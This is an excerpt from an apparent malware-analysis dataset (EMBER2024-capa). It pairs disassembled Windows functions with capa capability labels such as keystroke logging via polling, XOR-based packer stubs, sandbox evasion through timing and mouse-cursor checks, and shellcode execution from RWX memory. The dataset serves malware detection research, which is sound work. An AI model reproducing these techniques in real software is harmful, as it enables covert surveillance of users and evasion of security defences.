joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b864
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x41b89f
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.004256d0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41b902
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00425540
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x41b926
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.004256d0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41b989
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00425540
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x41b9ad
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.004256d0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41ba10
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00425540
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x41ba18
mov esp, ebp
pop ebp
ret
Function at 0x41eb0c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41eb52
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fmul qword [0x4434a4]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x4434a4]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.00401ec1
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.00425190
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41ebb1
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
mov eax, dword [ebp - 8]
test eax, eax
je 0x41ebd0
add eax, 8
push eax
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41ebf2
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41ec09
mov eax, 0x446e0c
jmp 0x41ec28
mov eax, dword [ebp - 8]
test eax, eax
je 0x41ec23
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00423ada
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41ec28
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41ec39
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x425580
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret

Function at 0x4255a0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x425632
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x425624
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x42561c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4255e5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x425640
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4256a9
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.004240f0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x4261a0
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4261c8
pop edi
or eax, eax
pop esi
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], 0xffffffff
jne 0x4261ea
pop edi
or eax, 0xffffffff
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x4261f0
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.004240f0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x426247
push ebx
push edi
call fcn.00424180
push esi
mov ebx, esi
call fcn.004240f0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x42621e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x426250
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0x10]
xor ebp, ebp
test esi, esi
je 0x4262d3
push ebp
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4262d3
push ebx
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4262c6
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ebp, 1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
ret
mov eax, ebp
pop esi
pop ebp
ret
Function at 0x43b107
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43b135
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43b153
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0043b06d
jmp 0x43b153
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43b153
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0043b06d
test edi, edi
mov eax, edi
jne 0x43b13d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x430001
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42ffd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x57500ba6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..didat
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x3fad70bc
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute shellcode via indirect call

Disassembly:
xor eax, eax
jmp 0x401064
mov edi, edi
push ebp
mov ebp, esp
jmp 0x4010cb
sub esp, 0x20
mov eax, dword [0x404008]
cmp eax, 0
jne 0x40114f
mov eax, dword [0x40400c]
jmp 0x401145
cmp eax, 0
jne 0x40114f
jmp 0x4012f4
call sub.KERNEL32.DLL_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
jmp 0x4011be
call sub.KERNEL32.DLL_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x40114f
mov dword [ebp - 0x14], eax
jmp 0x401239
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x40114f
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x40114f
mov eax, dword [0x404008]
cmp eax, 0
je 0x4012d1
push 0x3e8
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0x10]
jmp 0x4012ae
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401268
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x40114f
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401268
mov eax, dword [0x40400c]
cmp eax, 0
je 0x4012f4
push 0x1388
call sub.KERNEL32.DLL_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x4012d1
cmp eax, dword [ebp - 0x14]
je 0x4012d1
push dword [section.data]
mov eax, 0x40401a
mov ebx, 0x404302
sub ebx, eax
jmp 0x401316
push ebx
push 0x40401a
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x401394
push 0x40
mov eax, 0x401537
mov ebx, 0x4030d1
sub ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x401537
jmp 0x40141b
call sub.KERNEL32.DLL_VirtualProtect
push dword [0x404004]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x40151c
push dword [eax]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call sub.KERNEL32.DLL_VirtualProtect
jmp 0x401537
push esi
push esi
push esi
push esi
xchg ecx, eax
fadd qword [eax]
add byte [esi + 0xce9a], ch
scasb al, byte es:[edi]
les eax, [ebp + 0x102e0086]
into
add byte [eax], al
salc
add byte [eax], al
add byte [esi], ch
enter 0, 0xffffffffffffffac
add byte [esi], ch
xor byte [ebp + 0x6f70000], ch
syscall
xchg ebx, eax
dec edi
and eax, dword [ebp + 0x2a]
out 0x95, al
xchg edi, eax
xchg esp, eax
xchg ecx, eax
nop
test dword [esi], 0x4f3a834f
cmp dword [esi], 0x4f
xor dword [edx], 0x4f
xor dword [esi], 0x4f
sub dword [edx], 0x4f
sub dword [esi], 0x4f
and dword [edx], 0x2e
fcmovnb st(0), st(5)
add byte [eax], al
dec edi
cmp dword [edx], 0xffffffae
ret 0xc7
Function at 0x40293c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x40296b
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_2
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c2c
jmp 0x402989
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402864
mov edi, eax
test ebx, ebx
je 0x402989
cmp dword [esi], 0
je 0x402989
dec ebx
jmp 0x402972
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402b3c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x459040], 0x8088405
inc edx
mov dword [0x459040], edx
mul edx
mov eax, edx
ret

Function at 0x402ca8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402d40
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402d20
xor eax, eax
push ebp
push 0x402d19
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402d5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402d20
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x403af8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.0040270c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x459045], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403ac0
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x405a98
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_2
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405c54
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405af9
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405c70
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405b6b
xor eax, eax
push ebp
push 0x405b64
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.004058f0
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405b4d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405c90
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b6b
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpyA_1
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405c4c
cmp byte [ebp - 0xd], 0
jne 0x405bad
cmp byte [ebp - 0x12], 0
je 0x405c4c
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405bc6
dec ebx
cmp byte [ebx], 0x2e
je 0x405bd5
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405bc5
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405c4c
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405c02
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405c4c
cmp byte [ebp - 0xd], 0
je 0x405c4c
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405c4c
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408c74
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00403f88
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
test eax, eax
jne 0x408c96
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x409704
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40973d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403c2c
jmp 0x409746
mov eax, ebx
mov edx, esi
call fcn.00403b98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409750
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x409771
mov al, byte [esp]
jmp 0x409773
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x413be8
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_ResumeThread
cmp eax, 1
jne 0x413bfd
mov byte [ebx + 0xd], 0
pop ebx
ret

Function at 0x415c0c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x415c12
ret

Function at 0x417fc4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x418015
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x417ffc
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x417fec
jmp 0x418015
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x417ffd
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43d218
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4597dc
cmp dword [edi], 0
jne 0x43d294
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4597d8]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x457934
mov ecx, 2
call fcn.00402824
mov edx, 0x43d1f0
lea eax, [esi + 5]
call fcn.0043d210
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043d210
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43d269
mov dword [0x4597d8], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43d3b0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43d400]
test si, 4
je 0x43d3c4
or bl, 1
test si, 8
je 0x43d3ce
or bl, 4
test si, 1
je 0x43d3d8
or bl, 8
test si, 2
je 0x43d3e2
or bl, 0x10
test si, 0x10
je 0x43d3ec
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43d3fb
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x43d404
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43d43c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43d41d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43d42c
or bl, 4
test esi, 0x20000000
je 0x43d437
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret